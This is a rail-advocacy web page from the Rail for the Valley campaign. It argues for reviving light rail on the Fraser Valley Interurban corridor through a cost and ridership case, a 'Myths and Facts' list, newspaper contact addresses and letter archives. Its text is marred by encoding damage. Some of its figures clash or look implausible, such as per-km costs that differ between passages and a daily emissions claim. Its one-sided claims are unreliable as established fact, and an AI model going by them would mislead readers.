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The Need for Passenger Rail

For a pdf version of this article, click here

October 3, 1910 – 2010

The monumental first Interurban train trip from New Westminster to Chilliwack occurred on October 3 1910. 100 years later, Rail For The Valley takes a look at some important current issues, and misconceptions standing in the way of a service today.

The Fraser Valley Regional Study

In early 2008 the Province claimed a major study of light rail would soon be released, but almost three years later the public is still waiting. The Province has hyped this simple FVRD report as an in depth examination of the feasibility of light rail. Unfortunately this is not the case. The study has little to do with rail at all and only encompasses the region between Abbotsford and Chilliwack. As John Buker noted:

“Given the public support for passenger rail, it’s hardly surprising the Province would try and pass off an FVRD report on Abbotsford-Chilliwack traffic projections as a meaningful light rail study. It’s very doubtful that the provincial report, when it is finally released, will shed much light at all on the potential for an Interurban light rail service.” “What kind of study examining the feasibility of light rail in the Fraser Valley excludes Vancouver, Surrey, and Langley?”

Realizing that the public deserved an honest accounting of the potential for light rail service on the Interurban corridor, Rail For the Valley concluded that an independent analysis was essential.

The independent Interurban Study is completed September 2010

One of the major hindrances to any light rail study to date has been both the lack of light rail expertise, and of a light rail industryAi??Ai??Ai?? inAi??Ai??Ai?? theAi??Ai?? province. Provincial studies have relied on Heavy Rail consultants who are simply not qualified to do a major study of a light rail system. The Interurban report is British Columbia’s first study done by experts in the field of light rail.

A highly esteemed rail consultancy firm Leewood Projects Ltd, was commissioned by Rail For the Valley to undertake what stands as the most comprehensive and detailed light rail implementation study in the history of the Province. Leewood Projects is a professionally respected firm in Great Britain that has been involved in major transit projects such as the London Underground, and Croydon Tramlink.

The Province’s own lackluster ‘feasibility’ studies when contrasted against this groundbreaking report are embarrassingly inadequate. The Province’s inference that they have access to more accurate facts and figures is no longer just a myth, it is a falsehood. The Interurban report once and for all demolishes the argument against passenger rail service in the Fraser Valley. The findings of the report are clear:

‘This report concludes that the conversion to 21st Century Community Rail/Light Rail of the BCER Lower Fraser Valley Interurban, will bring positive benefits to the communities it will serve in; Economic &Ai??Ai??Ai??Ai??Ai?? InwardAi??Ai??Ai??Ai?? Investment,Ai??Ai??Ai??Ai??Ai??Ai?? Tourism, Environment, Health & Social Cohesion. The early implementation of Phase 1, from Chilliwack to Scott Road in Surrey, will be the beginning of the benefits.’ (page 54)

Ridership potential of the Interurban

Light Rail systems around the world are built to attract ridership. These systems are most cost-effective when they are built in areas with less density, before heavy urban development takes place, such as in the case of the Fraser Valley. Failure to build in advance of density results in astronomical construction costs. Recent examples are the Canada Line, costing over $100 million per km, and the planned Evergreen Line, which will cost over $120 million per km. That trend of building late instead of early has cost BC taxpayers billions of dollars.

Led by the city of Surrey, the Fraser Valley is projected to pass Vancouver in population within the next 10 years. This is why it is imperative that this system be built immediately. Opponents in the Provincial Government have been trying to fool the public into believing that ridership might actually be an issue, simply because they would rather spend money elsewhere.

It is a known fact that comparable regions, even regions with less density, have effective light rail systems. We see this in cities such as Calgary and Edmonton. The recent Interurban study was undertaken by a prestigious light rail firm in England, Leewood Projects. It would be absurd for them to even include ridership data in their study. They have shown us that the system is very workable here in B.C. and can be built economically. If they were in the business of planning systems that didn’t work, they would not be the kind of firm that helped build the Channel Tunnel. This shows the hollowness of the Ridership argument.

Costs

According to Translink figures, the West Coast Express commuter service recovers more than 90% of its operating costs. This is despite the fact that as much as half of its budget goes toward a heavy lease fee to CP Rail. The Interurban corridor, on the other hand, does not require any lease fee. The right to operate passenger trains is already owned by the public. The Interurban would serve a population approaching 3 times that of the West Coast Express, and with no lease fee there is little doubt the service would quickly turn an operating profit.

Light Rail systems are one of the most cost effective systems in the world and one of the few modes of public transportation that can pay for themselves. Highways and roads on the other hand cost BC taxpayers billions. The Provincial Transit Plan calls for expenditures of $1.6 billion on buses alone over the next few years. Traffic congestion also has tremendous hidden costs: economic costs, health costs, and costs in terms of environmental pollution.

Ultimately, all of the Province’s current transportation proposals for the Fraser Valley will only serve to increase the traffic on our roads. Reducing road traffic reduces all of these costs. It’s estimated that the West Coast Express service is equivalent to taking 4,300 cars off the road and reducing greenhouse gas emissions by 21,502 tonnes a day.

Opponents of the Interurban argue that, with the current Economic hardships, the timing for construction of an Interurban system is poor. In fact, implementing light rail on the existing Interurban Right of Way is incredibly cost-effective ($6 million per km compared to Skytrain $100-140 million per km). A proposed Skytrain extension as far as Langley will further bankrupt the transit system and communities in the Valley have made it clear they prefer more affordable light rail. The system will serve roughly a million people in the Fraser Valley, far more than any multi-billion dollar transit projects under consideration for Vancouver. The alternative to light rail service is to continue pouring millions into expensive government transit projects like Skytrain.

The Future

Today, we still have the opportunity to build a light rail system in the Fraser Valley economically, to all our benefit. The costs of failing to act now are extreme and cannot truly be calculated. A light rail network will help to relieve traffic on our roads, improving our health, our air quality and the environment around us. One day soon this service will connect all the cities of the Fraser Valley and Vancouver in a truly comprehensive transit network. The time to plan that future is today.

 

Myths and Facts

There is the need for the Rail in the Valley; but first, here’s a few myths you might have heard about passenger rail.

1. We donai??i??t have the population yet. Maybe in 20 years.

In 1910, we had 18,000 people in the Fraser Valley, and we had Interurban passenger rail service all the way from Chilliwack to Vancouver. In the 1950s, we had 80,000 people, but the Interurban was shut down because people were driving cars instead. Today, the Fraser Valley has more than 10 times the population (around 1 million), and traffic headaches youai??i??d never dream about in the 1950s.

And if we do reach some magical population number (that is never specified by critics) in 20 years anyway, why not prepare for it today?

2. We donai??i??t have the density. We donai??i??t have the density for expensive Skytrain, but we donai??i??t need Skytrain. We need regular trains like we used to have, and we have plenty of density for that.

All around the world, light rail is being built in regions with comparable or lower density. We donai??i??t even need to look to Europe ai??i?? the spread-out city of Calgary has the C-Train, carrying 250,000 passengers a day.

3. Laying track is just too expensive. Ai??Think about this. There are tracks everywhere. All across Canada. We could afford to build those thousands of miles of track when we were relatively just a few people, but now itai??i??s too expensive to build a bit more track in order to connect the people of the Fraser Valley? This idea ai??i?? that with all our population and wealth of today we canai??i??t afford to build a few kilometres of new track ai??i?? is laughable.

When politicians say laying track is too expensive, it just means they want to spend our money on something else.

But in fact, WE ALREADY HAVE TRACKS just waiting to be used. The old Interurban tracks could be upgraded for passenger service at low cost. All totalled, according to a comprehensive independent analysis by a respected firm with an expertise in light rail, it would cost just under $500 million for a Chilliwack-Surrey diesel service running every 20-30 minutes connecting to Skytrain, or under $1 billion for an electrified service running from downtown Vancouver to Rosedale, 12km past Chilliwack. These amounts include stations, trains and everything else. It sounds like a lot of money, but compare this to the $2.4 billion that was spent on Vancouverai??i??s 19km Canada Line, the $1.4 billion pricetag for the Evergreen Line Skytrain extension to Coquitlam, $2.8 billion for a planned 12 km Skytrain extension to UBC, and the $7 billion and rising pricetag of the Gateway highway-expansion projects. Why not spend a bit of money on rail transportation in theAi??Fraser ValleyAi??for a change?

4. The geography of the Interurban line makes it too slow and impractical to use. Ai??Some sections of the Interurban track have a slight grade to them. This makes some politicians and bureaucrats claim that trains running uphill on them would be too slow, only travelling at 50 km/hr. Itai??i??s completely bogus. Once the track is upgraded, we can expect speeds of 80-100 km/hr in areas where the density of stations is not too high.

From its terminus in downtown Chilliwack, the Interurban track runs through Sardis, Yarrow, down to Sumas and up past UFV to Abbotsford. From there, it runs westward past Trinity Western University, through Langley, Cloverdale and Surrey, where it could connect to the existing Scott Road Skytrain Station. At the Fraser River, it joins other railways to cross the New Westminster rail bridge, where there are multiple possible routes into Vancouver. The Interurban track is walking distance from ALL of our South of Fraser colleges and universities, most commercial centres, and a short shuttle ride from the Abbotsford Airport.

Click here for a map.

5. The Interurban, and trains in general, are slower than cars. Ai??Itai??i??sAi??NOTAi??generally true that trains are slower than cars. The West Coast Express, for example, travels at 110 km/hr and takes 73 minutes to get from Mission to downtown Vancouver ai??i?? easily faster than a car, and ridiculously faster than a car stuck in traffic.

An end-to-end South of Fraser Interurban train trip would take a total of 90 minutes from downtown Chilliwack to Scott Rd. Skytrain Station in Surrey, independent of road traffic, automobile accidents or inclement weather.

With each year that passes, road congestion in the Fraser Valley keeps getting worse, due to a rapidly growing population. A few years ago, assuming no traffic delays and good weather, a trip by car to most places in the valley would have been quicker than a trip by train. Today this is often no longer the case: Today, commuters need to anticipate delays when planning their trips, and even with predictable traffic the time it takes for a simple trip from Point A to Point B in the Fraser Valley is taking longer and longer. Highway 1 congestion as far east as Abbotsford or even Chilliwack is now commonplace, and with the Fraser Valley’s booming population the situation is only going to get worse.

The train ride would also be much more relaxing than driving in stop-and-go traffic, you would actuallyAi??enjoyAi??the trip, and with today’s WiFi technology you would have the option of staying connected and getting things done.

Taking the train will not be the best solution for every trip in the Fraser Valley. But, with this option, an alternative will be provided for many travellers, thereby also reducing the congestion on the roads for the rest of us. In the future, with a rail line already in place, the network could readily be expanded, including a connecting line serving longer-distance commuters from the eastern Valley, such as an extended West Coast Express.

6. Rail services like the West Coast Express are heavily subsidized. Ai??Not true at all. The West Coast Express service would actually be profitable if it were not for the expensive lease fee that has to be paid to CP for the use of their track. Unlike roads, trains can make money.

And unlike the West Coast Express, the Interurban right-of-way south of the Fraser River is owned by the government, as well as the rights to run passenger rail on the track. No expensive lease fees here. The Interurban would serve a population approaching 3 times that of the West Coast Express, and with no lease fee there is little doubt the service would quickly turn an operating profit.

Light Rail systems are one of the most cost effective systems in the world and one of the few modes of public transportation that can pay for themselves. Highways and roads on the other hand cost BC taxpayers billions. The Provincial Transit Plan calls for expenditures of $1.6 billion on buses alone over the next few years. Traffic congestion also has tremendous hidden costs: economic costs, health costs, and costs in terms of environmental pollution.

Ultimately, all of the Provinceai??i??s current transportation proposals for the Fraser Valley will only serve to increase the traffic on our roads. Reducing road traffic reduces all of these costs. Itai??i??s estimated that the West Coast Express service is equivalent to taking 4,300 cars off the road and reducing greenhouse gas emissions by 21,502 tonnes a day.

7. Trains would create bedroom communities. Ai??The argument REALLY is: in order to keep outlying communities from becoming bedroom communities, the powers that be must artificially restrict the mobility of their citizens by denying us the right to travel in a relaxing, environmentally friendly way.

Itai??i??s backward thinking, an iron curtain mentality. And itai??i??s wrong.

The train goes both ways. Just as good ai???railai??? transit makes it attractive to live in outlying communities, it would also be a sure inducement for businesses wishing to relocate from the higher-taxed and congested Vancouver region.

Forget about bedroom communities. How about polluted communities? Increased smog, air quality alerts, growing levels of asthma and lung disease resulting from more and more vehicles on the road creating greater traffic congestion, emissions wafting eastward? Thatai??i??s what weai??i??re looking at in the eastern Valley without rail.

Passenger rail will help clean up the air we breathe!

8. Weai??i??re not a train culture. We wouldnai??i??t get the ridership. Ai??One second, one politician will claim rail will create bedroom communities. Then, another will claim that we wouldnai??i??t get the ridership because weai??i??re not a train culture.

Which is it, guys? These are just excuses for the status quo ai??i?? the easiest answer is always inaction. Opponents have been trying to fool the public into believing that ridership might actually be an issue, simply because they would rather spend money elsewhere.

Light Rail systems around the world are built to attract ridership. These systems are most cost-effective when they are built in areas with less density, before heavy urban development takes place, such as in the case of the Fraser Valley. Failure to build in advance of density results in astronomical construction costs. Recent examples are the Canada Line, costing over $100 million per km, and the planned Evergreen Line, which will cost over $120 million per km. That trend of building late instead of early has cost BC taxpayers billions of dollars.

Led by the City of Surrey, the Fraser Valley is projected to pass Vancouver in population within the next 10 years. This is why it is imperative that this system be built immediately.

Anyone who uses the Skytrain or the West Coast Express knows that we are as much of a train culture as anywhere in the world, and if we are less so south of the Fraser, it is only because we have no trains.

9. With the current Economic hardships, the timing for construction of an Interurban rail system is poor.
In fact, implementing light rail on the existing Interurban Right of Way is incredibly cost-effective ($5 million per km compared to Skytrain $100-140 million per km). A proposed Skytrain extension as far as Langley will further bankrupt the transit system and communities in the Valley have made it clear they prefer more affordable light rail. The system will serve roughly a million people in the Fraser Valley, far more than any multi-billion dollar transit projects under consideration for Vancouver. The alternative to light rail service is to continue pouring millions into expensive government transit projects like Skytrain.

 

Letai??i??s make it happen.

 

Send in Your Letters!

Rail for the Valley is an issue only because ordinary people have made it an issue. Writing a letter to the editor of your local newspaper is the simplest, most concrete thing you can do for the movementAi??right now.

Send your Letter to the Editor to some of these newspapers (sign your name and address):

Abbotsford News: newsroom@abbynews.com
Abbotsford Times: editorial@abbotsfordtimes.com
Agassiz-Harrison Observer: news@ahobserver.com
Aldergrove Star: newsroom@aldergrovestar.com
BurnabyNewsLeader: newsroom@burnabynewsleader.com
Burnaby Now: editorial@burnabynow.com
Chilliwack Progress: editor@theprogress.com
Chilliwack Times: editorial@chilliwacktimes.com
Delta Optimist: editor@delta-optimist.com
Hope Standard: news@hopestandard.com
Langley Advance: editorial@langleyadvance.com
Langley Times: newsroom@langleytimes.com
Maple Ridge News: editor@mapleridgenews.com
Maple Ridge Times: editorial@mrtimes.com
Mission City Record: news@missioncityrecord.com
Peace Arch News: lpeverley@peacearchnews.com
Richmond Review: news@richmondreview.com
Royal City Record: editorial@royalcityrecord.com
South Delta Leader: editor@southdeltaleader.com
Surrey Leader: newsroom@surreyleader.com
Surrey Now: tzillich@thenownewspaper.com
TriCity News: newsroom@tricitynews.com
Vancouver Courier: editor@vancourier.com

Vancouver Sun: sunletters@png.canwest.com
Vancouver Province: provletters@png.canwest.com
-Sun and Province require name/address/phone.

-And send it here to be posted on railforthevalley.com.

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    Fraser Valley Transit Study shows dated thinking about rail Published: December 29, 2010 2:00 PM Updated: December 29, 2010 2:21 PM The long awaited $400,000 Fraser Valley Transit StudyAi??Ai??has stale-dated by the September release of the independent...

  • Rail tracks should be built instead of roads

    Rail tracks should be built instead of roads BY HEIDI GRECO, VANCOUVER SUN DECEMBER 29, 2010 Re: Urgent upgrade pushed for Fraser Valley transit to deal with huge population growth, Dec. 21 It was good to see front-page coverage on the transit overhaul...

  • The cost of improved transit

    The cost of improved transit THE TIMES DECEMBER 24, 2010 Editor, the Times: "Now we know what we should focus on and what it will cost. It's a given we have to improve the system," as quoted from your article (Dec. 21 Times). This study and many like i...

  • Rail for the Valley simply makes sense

    Rail for the Valley simply makes sense THE TIMES DECEMBER 7, 2010 Editor, the Times: While local mayors bicker with TransLink over the funding of yet another grossly expensive metro line for the region, Rail for the Valley, in association with Leewood ...

  • South Delta Leader - LETTERA?ai??i??ai???Light rail the one

    LETTERA?ai??i??ai???Light rail the one Published: November 18, 2010 11:00 AM Updated: November 18, 2010 11:18 AM The ongoing debate about TransLink, taxes, bridge tolls, and transit will not be resolved if current planning practices continue. The probl...

  • Surrey Leader - DonA?ai??i??ai???t dismiss South-of-Fraser transit

    DonA?ai??i??ai???t dismiss South-of-Fraser transit Surrey Leader Published: November 04, 2010 12:00 PM The recent announcement by TransLink, concerning the Surrey Rapid Transit Study, dismissed the Interurban corridor as having no role to play in solvi...

  • Valley commuters need bridge

    Valley commuters need bridge By Christina Beaupre, The Province October 24, 2010 This is the first I've heard that the old Port Mann Bridge is going to be demolished! That bridge was an integral part of the Trans Canada Highway, which is supposed to co...

  • Uninformed about transit

    Uninformed about transit The Times October 19, 2010 Editor: Each time the light rail issue has been brought up Mayor Sharon Gaetz hasn't had any more insight than to say rail crossings would cost the city $500,000 each. Upper Prairie Road is shortly ge...

  • Chilliwack Progress - Light rail offers economic solution

    Light rail offers economic solution Published: October 25, 2010 6:00 PM It should be noted that ChilliwackA?ai??i??ai???s public transit is utilized by about one per cent of residents. We donA?ai??i??ai???t need studies to tell us the reason for that i...

  • Abbotsford News - Transit will work

    Transit will work Published: September 28, 2010 2:00 PM Updated: September 28, 2010 2:56 PM 0 Comments Would we make use of a light rail transit system in the Fraser Valley? Yes. All members of my family would use it, as well as my friends and many of ...

  • BCLocalNews.com - TramTrain a better investment

    TramTrain a better investment Published: October 18, 2010 4:00 PM Updated: October 18, 2010 4:10 PM Re: If they build it , will we ride? (Chilliwack Progress, Oct. 15). Mr. Blacklock raises some interesting points about the proposed Rail for the Valley...

  • BCLocalNews.com - Anti-LRT rhetoric comes to Surrey

    Anti-LRT rhetoric comes to Surrey Published: October 19, 2010 3:00 PM Updated: October 19, 2010 3:11 PM Editor: I see that TransLink is taking its well-honed dog and pony transit show to Surrey, and I hope residents watch out for the snake-oil that pas...

  • Surrey Leader - Valley ignored by TransLink

    Valley ignored by TransLink Published: October 19, 2010 4:00 PM Updated: October 19, 2010 4:31 PM The recent announcement by TransLink dismissing the Interurban corridor from transit consideration shows the provincial government to be completely out of...

  • Peace Arch News - Keep railing for commuter train

    Keep railing for commuter train Published: October 15, 2010 9:00 AM Updated: October 15, 2010 9:33 AM Editor: Re: Light rail would work here, Oct. 8. Kudos to columnist Frank Bucholtz for raising awareness of a viable alternative to SkyTrain expansion ...

  • Surrey Leader - Why no light rail?

    Why no light rail? Published: October 14, 2010 1:00 PM Updated: October 14, 2010 1:45 PM So Premier Campbell has promised SkyTrain to Langley, but does anyone believe him? To refresh everyoneA?ai??i??ai???sA?ai??i??ai??? memories, SkyTrain is a proprie...

  • Abbotsford News - RegionA?ai??i??ai???s mayors will be left waiting for SkyTrain

    RegionA?ai??i??ai???s mayors will be left waiting for SkyTrain Published: October 07, 2010 11:00 AM Updated: October 07, 2010 11:22 AM 0 Comments On Monday, Rail for the Valley and Leewood Projects (UK) released a historic and revolutionary TramTrain r...

  • Chilliwack Progress - Light rail delivers more bang for the buck

    Light rail delivers more bang for the buck Published: October 13, 2010 10:00 AM Updated: October 13, 2010 10:38 AM So Premier Campbell has promised SkyTrain to Langley, but does anyone believe him? To refresh everyoneA?ai??i??ai???s memory, SkyTrain is...

  • Chilliwack Progress - Message to transport minister

    Message to transport minister Published: August 20, 2010 9:00 AM Updated: August 20, 2010 9:45 AM Open letter to Chuck Strahl, federal minister of transportation. I am concerned about congestion on Highway No. 1, and the need for a passenger service fo...

  • Chilliwack Progress - A transportation vision for the future

    A transportation vision for the future Published: July 27, 2010 9:00 AM Updated: July 27, 2010 9:50 AM Re: Chilliwack not on board with commuter rail (Chilliwack Progress, July 20). Kudos to Mayor Gaetz for being patient and waiting for the results fro...

  • Transportation: TransLink dog and pony show selling snake oil

    Transportation: TransLink dog and pony show selling snake oil Langley Advance October 15, 2010 Dear Editor, I see that TransLink is taking its well-honed dog and pony transit show to Surrey, and I hope residents watch out for the snake-oil that passes ...

  • Rail readily beats SkyTrain

    Rail readily beats SkyTrain By John Buker, Langley Advance October 8, 2010 Dear Editor, Premier Gordon Campbell announced a SkyTrain line to Langley, and rapid buses from Langley to Chilliwack, with no timeline for implementation and no funding arrange...

  • Better solutions save farms

    Better solutions save farms By Eric J. Bysouth, Langley Advance September 17, 2010 Dear Editor, Obviously, Councillor Steve Ferguson [New road will benefit farms, Sept. 14 Letters, Langley Advance] did not, when he first voted yes, understand what is n...

  • TramTrain should steer us in the right direction

    TramTrain should steer us in the right direction By Malcolm Johnston, The Times September 28, 2010 Editor, the Times: Last Monday, Rail for the Valley and Leewood Projects (UK) released a historic and revolutionary TramTrain report for Metro Vancouver ...

  • Uninformed about transit

    Uninformed about transit The Times October 19, 2010 Editor: Each time the light rail issue has been brought up Mayor Sharon Gaetz hasn't had any more insight than to say rail crossings would cost the city $500,000 each. Upper Prairie Road is shortly ge...

  • SkyTrain pie in the sky

    SkyTrain pie in the sky The Times October 8, 2010 Editor: So Premier Gordon Campbell has promised SkyTrain to Langley, but does anyone believe him? To refresh everyones memory, SkyTrain is a proprietary, automatic railway that is now owned by Bombardie...

  • Back in the '40s rail worked well

    Back in the '40s rail worked well The Times October 5, 2010 Editor: (Re: Rail for the Valley) I have been following the progress on this initiative since it was first announced with great interest. In the 1940s we lived in Surrey, and our nearest stati...

  • Dream bigger transit dreams

    Dream bigger transit dreams The Times September 28, 2010 Editor: Re: Mayor remains mum on latest rail system study (Times, Sept. 24). The report on revival and enhancement of the interurban rail line (Chilliwack to Surrey) by David Cockle of Leewood Pr...

  • Valley transit much cheaper

    Valley transit much cheaper The Times September 28, 2010 Editor: This also an open letter to the government in Victoria and also to Mayor Gaetz and her people in Chilliwack. How wonderful to read about the sensible UK-based consultant David Cockle on l...

  • More vehicles will be driven

    More vehicles will be driven The Times September 24, 2010 Editor: In my opinion the light rail proposal is long overdue. Anyone who has driven Highway 1 from here to Vancouver realizes that it is almost impossible to find a particular time of day that ...

  • View obscured from ivory tower

    View obscured from ivory tower The Times July 16, 2010 Editor: This summer, interesting news will be released that will delight supporters of the Return of the Interurban to the Fraser Valley. In the Metro region, we have placed all our hopes for rail ...

  • Time to put pressure on officials

    Time to put pressure on officials The Times July 13, 2010 Editor: Regarding the remarks of Mayor Sharon Gaetz and Coun. Diane Janzen and those of previous mayors and councils about transit: They are very parochial and short-sighted. They do not see the...

  • Archive of earlier Letters to the Editor

    The following is a partial compilation of Letters to the Editor that were collected in the early years of the Rail For the Valley Campaign. Voice needed at transit table The Chilliwack Times Published March 16, 2010 Editor: I appreciate our mayorA...

Letter Archive:

(download PDFAi??- 122 pages)

Since we formed in July 2007, people who agree with Rail for the Valley have been writing many letters to the editor of our local papers.Ai??It’s working… The Rail for the Valley movement has been getting a lot of press! 

 

Articles of Interest:

  • Perils of a Proprietary Pailway

    Perils of a Proprietary railway. TransLink, the Mayors council on Transit and the provincial NDP have tried to whitewash the fact that the Movia Automatic Light Metro, used on the Expo and Millennium Lines is not a proprietary railway. TransLink has d...

  • Vanity Project Reality Check - The SFU Gondola

    The realities of a gondola going to SFU are beginning to hit home. Simple fact is, there is no need for a gondola to SFU and the project is a "quid pro quo" for Burnaby's support for Vancouver's subway project and the now former mayor of Surre...

  • Number One Highway Constructions Costs Climbing

    This bodes ill for the Expo Line extension to Langley. Transportation Minister Rob Fleming attributes the delays to soil and geotechnical issues. These are the same geotechnical issues that the Langley extension also must face. The following quote...

  • Snap Election Coming? The $4.01 Billion Lie

    One wonders if Premier Eby is going to call a snap election in January or February? Surrey will be hotly contested as the police, flip-flop, issue is hurting the NDP MLA's there. Nothing like "good news everyone" photo ops and 10 second sound bytes...

  • The mayor's Council on Transit - Lotus land's Ship of fools

    Like children playing with their Christmas morning train sets, the Mayors council on transit blunders on wanting more and more, without any care as to the cost. Not one of the mayors has any knowledge about public transit, nor seems to care about the ...

  • Edomonton's Valley Line Southeast LRT Officially Opens

    [caption id="attachment_29112" align="aligncenter" width="605"] Edmonton Valley Line[/caption] News from Edmonton. The $1.8 billion and delivered on budget,  Valley Line is a low-floor urban light rail line in Edmonton, Alberta. The 13.1-kilometre (...

  • TransLink's Hype and Hoopla About BRT Is Just Another Wet Squibb!

    When is Bus Rapid Transit just a an express bus route? When TransLink claims an express bus route is BRT Real BRT operates on a fully dedicated Rights-of-Ways, with priority signalling at intersections, offering headway's in the 2 minute to 5 minute r...

  • Provincial Election In 2024!

    SkyTrain has always been used at a photo-op for provincial elections. And the David Eby NDP government is no different. Announcing SkyTrain extensions win votes. Whether spending huge sums of money actually does anything to improve transit is another ...

  • Single Track Operation? More common Than You Think!

    [caption id="attachment_29063" align="aligncenter" width="643"] Classic Swiss single track railway![/caption]   OK folks, the following is a small list of the many European regional railways, operating on single tracks or which route operate...

  • Montreal's REM Goes Kaput

    [caption id="attachment_29050" align="aligncenter" width="620"] Montreal's REM[/caption] The problem with automatic (driverless) light metros is that when the system fails, the entire system fails. Regular customers of Vancouver's SkyTrain light-met...

  • Surprise, Surprise, Rail For The Valley had it right all Along.

    TransLink has now admitted that they are $4.7 billion in the hole and Rail for The Valley has told you so, many times in the past. The $11 billion to extend the Expo and Millennium Lines has now landed, like the financial time bomb it is, onto the M...

  • Helsinki's New Jokeri LRT Opens Early And $19 Million Under Budget

    Europe's newest light rail line just opened and our local tax hungry politicians and bureaucrats should take note! Broadway subway - $2.7 billion for 5.7 km. (not including vehicles, electrical/signalling upgrades) Proposed Expo line Extension to...

  • Vancouver Wants Another Subway!

    Vancouver politicians want to pull a fast one on regional taxpayers. What seems to be pure politcal theatre from a city council which has not one clue about public transport nor the financial implications of "rapid transit", want to plan for another r...

  • Vancouver Parks Board - Pure Unadulterated Incompetence!

    [caption id="attachment_28976" align="aligncenter" width="685"] C. P. Huntington in Stanley Park[/caption] What can one say? Incompetence, pure and simple. When this issue arose a year ago, it was mentioned to Zwei that the Parks Board wanted the ...

  • Zwei Sends A Letter

    I will send the following letter to all municipal and provincial politicians in November  and it will be ignored, as usual. This does not surprise me because our current lot don't want to acknowledge the truth, lest they be embarrassed by past ...

  • They Could Not Even Operate a Christmas Tree Train Set

    Regional mayors think themselves somewhat of transit experts. They are not, not even close. What needs to be done before another nickle is spent on transit is a full independent review of TransLink and its operations. That is not going to ha...

  • Is Bad News In The Offing?

    It has been too quiet, too long, on the transit front and with a provincial election looming, unpleasant news is being quietly whitewashed. Hear no cost increase; speak no cost increase; see no cost increase of the Broadway subway seems the order of...

  • Money, Money, Money = Subways!

    The Mayor of Vancouver discussing the bennefits the Broadway Subway. What could go wrong? It takes a lot of money to operate a transit system and subways tend to be a financial black hole and are avoided unless ridership on a transit line demands ...

  • Five Car Trains - Much Ado About Nothing

    Five car trains, is the current clarion call by TransLink. With lots of hype and hoopla by the mainstream media, the public is made to believe this is some sort of technical break through. It is the old Goebbels Gambit at play; "repeat a lie often eno...

  • Back To Basics

    What is light rail? LRT is a transportation system based on electrically powered light rail vehicles (LRV) that operates on a track in a dedicated right-of-way (meaning separated lanes). It is the operating on dedicated or "reserved rights-of-ways th...

  • Adding More Highway Capacity Only Increases Congestion And Gridlock

    Where will the new traffic go? You cannot build yourself out of congestion, as it never works. A good example is Boise Idaho, where between 1993 and 2017, roads expanded 141 percent while population grew 117 percent. But congestion increased 446 pe...

  • When In Doubt, Blame the Railway

    To date there is no 'hard' evidence that the train cause the fire that engulfed Lytton. Transport Canada inspected the train and there was no evidence of a fire on the train. Instead of waiting for evidence that would tie the train to the fire, ...

  • The Fuel-Cell Tram Truely Green Public Transport

    Trams without the electrical overhead, brings a new dimension for new tram planning, by making trams cheaper to build and operate, enabling them to penetrate further to attract more ridership. Except for Canada and our archaic rules about light rail...

  • A Very Close Call - The Public Needs An Inquiry

    Poor maintenance can be traced to TransLink's dire financial ills. Sadly the mandarins running TransLink do not seem to be acquainted with the nuances of maintaining the railway and the SkyTrain light-metro system is a railway. Track switches are an ...

  • Very Light Rail for Victoria?

    On CHEK News this afternoon was a rather long piece on Ultra light rail for Victoria and Zwei sees a problem. What was being pitched was an Ultra Light Rail system and not the Very light rail system, being proposed for Coventry, though using photos ...

  • Gold Plated Union Contract For A Gold Plated Transit System

    Hmmm - election coming and a fear of of another transit strike, well what can a government do? Give transit workers a "gold plated" union contract. TransLink, despite claims otherwise, is run by the premier's office. All major TransLink decisions mus...

  • Carbon Emissions Are Lower for Rail - UK Study.

    Interesting study from the UK comparing rail travel to plane travel. As Canadian politicians and bureaucracies are basically anti-rail, if they wish to be honest about global Warming and climate Change, this pampered group of plutocrats must hav...

  • Eby And The NDP Have Missed The Train

    It seems Premier Eby and the NDP have been left behind at the station with this. With two railway projects that would have set BC as a leader in "Green" transportation, Premier Eby and the NDP continue to promote Greenhouse gas projects with new hig...

  • Stanley Park Train Fiasco - The Truth Is Not Out There

    A C.P. Huntington Train, made by Chance Rides, being shipped to a customer.   The Stanley Park miniature railway fiasco demonstrates the mindset of Vancouver politicians including incompetence, hubris and dishonesty. The fact of the m...

  • User Freindliness In Berlin

    In Metro Vancouver, again and again, one hears calls for the light metro system to operate 24/7. It cannot, or put in another way, it can but it would increase maintenance costs considerably and TransLink is near broke. The reason is quite simple, au...

  • Same Opportunities - Same Excuses

    Light rail is not a panacea, but it is a proven method in reducing auto traffic, something those promoting SkyTrain cannot claim. Building with trams opens an opportunity for not only providing a user-friendly and environmentally- friendly alter...

  • And Then There Was Six

    Alas, poor SRT! I knew of it, TTC: A system of infinite cost, of most expensive fancy: It hath taken us more than thousand times; and now, how abhorred it is! My gorge rims at it. Here, it cost much money, I know not how much. Where be your new s...

  • The Rail Renaissance In Europe.

    As Europe is rediscovering travel by rail, in Canada rail travel is treated with disdain, yet in the age of Global Warming and climate change, the train is making a strong comeback for travel. It is my contention, that when federal and provi...

  • Incompatible Transit - A Taxpayer's Nightmare

    I thought this would be an interesting article as we have in Vancouver two incompatible light metro systems, the Canada Line and the Expo and Millennium Lines. The Canada Line uses ROTEM built EMU's, standard railway fare and can be used on most sta...

  • As Preddicted, Major Switch Replacement Begins.

    Mr. Cow has been bang on with his predictions of the growing cost of SkyTrain light metro expansion and the following news item certainly shows the ongoing expensive problems TransLink faces. Replacing two switches should take a weekend at most, but...

  • Flexibility To Fight Climate Change

    Flexibility is the key in today's transit planning. More and more, freight that used to be carried on railways, then switched to heavily subsidized trucks on heavily subsidized highways, is now goring back to the railways. Ignoring Global Warming a...

  • Old Noise Issues Plague SkyTrain

    This problem has been around a long time, small wheels means more revolutions and more wear of the track' correlated rails; and a strict regimen of rail grinding and preventative maintenance of the steerable axle trucks. This costs a lot of money and ...

  • World's Greatest Public Transit Systems

    [caption id="attachment_28574" align="aligncenter" width="639"] A Paris tram[/caption] From Shanghai to Stockholm, these are the world’s greatest public transportation systems – as voted by the people who use them every day 1. Berlin - Metro pop....

  • Why TransLink Can't Be Honest? A Repost From March 2017

    Six years later, not much has changed. Thales has signed a $1.47 billion contract for re-signalling the Expo and Millennium Lines but with capacity only increasing by 2,500 pphpd to 17,500 pphph for the Expo Line and for an astonishing increased...

  • User-Friendly Is Not In TransLink's Lexicon

    TransLink has a problem, overall decline ridership on its transit system and resent assaults and a murder on the bus and light-metro system is not helping transit customer confidence. TransLink must adjust accordingly and is by cutting bus service. ...

  • Carbon Tax Follies

    The Carbon Tax flim-flam in BC and Canada gets exposed by Norm Farrell's excellent In-Sights blog. Zwei has always thought the Carbon Tax was mere politcal theater as all Carbon Tax revue is deposited in "general revenue", spent at the government's ...

  • If Only BC Ministry Of Transportation And Infrastructure Had a Brain

    If only................... Instead of spending $11 billion, to build a mere 21.7 km of the now obsolete MALM light metro, the government could have spent less than half that amount by building and operating hydrogen powered trains on the former BC E...

  • Businesses Close Along the Broadway Subway Route - What the Public is Not Told

